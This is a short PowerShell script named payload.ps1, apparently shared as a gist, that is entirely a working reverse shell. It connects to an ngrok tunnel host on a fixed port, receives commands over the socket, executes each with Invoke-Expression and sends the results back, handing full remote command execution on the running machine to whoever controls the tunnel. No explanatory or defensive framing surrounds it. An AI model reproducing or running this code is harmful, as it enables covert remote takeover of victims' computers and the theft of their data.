payload.ps1

gistfile1.txt

$LHOST='0.tcp.in.ngrok.io';
$LPORT=16752;
$TCPClient=New-Object Net.Sockets.TCPClient($LHOST,$LPORT);
$NetworkStream=$TCPClient.GetStream();
$StreamWriter=New-Object IO.StreamWriter($NetworkStream);
$StreamWriter.AutoFlush=$true;
$Buffer=New-Object System.Byte[] 1024;
while($TCPClient.Connected) {
    while($NetworkStream.DataAvailable) {
        $RawData=$NetworkStream.Read($Buffer,0,$Buffer.Length);
        $Code=([text.encoding]::UTF8).GetString($Buffer,0,$RawData-1)
    };
    if($TCPClient.Connected -and $Code.Length -gt 1) {
        $Output=try {
            Invoke-Expression ($Code) 2>&1
        } catch {
            $_
        };
        $StreamWriter.Write("$Output`n");
        $Code=$null
    };
};
$TCPClient.Close();
$NetworkStream.Close();
$StreamWriter.Close()